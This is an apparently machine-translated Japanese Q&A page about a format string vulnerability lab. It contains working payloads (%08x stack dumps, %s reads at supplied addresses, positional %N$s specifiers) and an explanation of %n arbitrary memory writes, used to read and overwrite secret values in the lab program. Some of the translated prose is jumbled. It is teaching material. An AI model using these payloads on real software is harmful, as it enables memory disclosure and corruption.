2013-04-17 4 views
9

フォーマット文字列の脆弱性攻撃、中に配列の2番目の要素にアクセスしますコードはまったくありません。入力を使用して、プログラムをクラッシュし、秘密の値を印刷し、秘密の値を変更し、秘密の値を所定の値に変更します。私が手我々は、次のコードを与えている私は、フォーマット文字列の脆弱性ラボに取り組んでいます

出力例は次のとおりです。だから、

The variable secret's address is 0xbfffe7cc (on stack) 
The variable secret's value is -x0804a008 (on heap) 
secret[0]'s address is 0x0804a008 (on heap) 
secret[1]'s address is 0x0804a00c (on heap) 
Please enter a decimal integer 
65535 
Please enter a string 
%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x. 
bfffe7d0.00000000.00000000.00000000.00000000.0000ffff.0804a008.78383025 

、8 "%08X" Sを入力することによって、私は4 +秘密のアドレスを印刷し、その後、私はint型のアドレスA、B、Cを印刷し、とd - しかし、私は彼らに価値を与えたことがないので、彼らはどこにも指しておらず、ただ0を表示します。それに続いて、 'ffff'がはっきりと見えるように選択された10進I入力です。次にsecret [0]のアドレスが来ると、プログラムに格納されている他の値が取得されます。

AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x.を入力すると、.0804a008が.41414141になった後、文字列入力からのAがそこに保存されるためです。

プログラムがクラッシュするのはかなり簡単です。文字列入力に十分な%sを指定すると、segfaultが発生します。しかし、今私は秘密の価値を読む必要がありますが、私は完全に失われています。私はスタックのアドレスを何とかして、そのような文字列の先頭に置くことによって、アドレスを入れようとしました:\xd0\xe7\xff\xbf_%08x.%08x.%08x.%08x.%08x.%08x.%sしかし、アドレスはどこにでもプッシュされず、私はちょうど秘密[0]を印刷しません(これは、 「D」である)。私はあらゆる種類のアドレスを試しましたが、しばらくすると、それらの文字列が以前に表示された文字列としてすべて格納されていることに気付きました。彼らはヘックスなどに変換されていません。

私はSAなどでこのコードについて多くの議論をしてきましたが、秘密裏に値を取得する方法についてはまだ誰も話していません[1]。

ご協力いただければ幸いです。

答えて

4

秘密[1]にアクセスするには、そのアドレスを整数入力として入力する必要があります。

Please enter a decimal integer 
73740 
Please enter a string 
%08x.%08x.%08x.%08x.%08x.%08x.%s 
00008744.bead4ca4.bead4cc4.bead4dc4.00000001.000000a8.U 
+0

うん、これは私が行方不明だったものです。これを見つけた後に全部の馬鹿のように感じる。ありがとうございました! – Max

3

トリックは、%n指定子をユーザー指定の書式文字列で使用することです。 %nはこれまでに書き込まれたバイト数を受け取り、は次の引数が指すアドレスにそれらを格納します。 printfに十分な引数を与えないと、書き込み先のアドレスはスタック上の次の値になります。そのアドレスをあなたが望むものにすることができれば、メモリ内のどこにでも4バイトの整数を書くことができます。

// Normal usage: count receives the value 14, since 14 bytes were written when 
// the %n was encountered 
int count; 
printf("Hello, world!\n%n", &count); 

// UNDEFINED BEHAVIOR: The value 14 will get written to some unknown location in 
// memory 
printf("Hello, world!\n%n"); 
+0

これは間違いありませんが、あなたは私より少し前です。単にスタックにない値を見つけるのが面倒だったのです。値が利用可能になると、変更するのが難しくありません。 私は痛いほど明白な答えを見逃していました。おそらくもっと複雑な(または少なくとももっと興味深い)部分を説明したのかもしれません。 – Max

1

実際にオフセットを書式文字列に直接指定できます。

例えば、

$ printf "ADDRESS_IN_DECIMAL\n%%ADDRESS_OFFSET\$p_%%ADDRESS_OFFSET\$s\n" | ./vul_prog 
関連する問題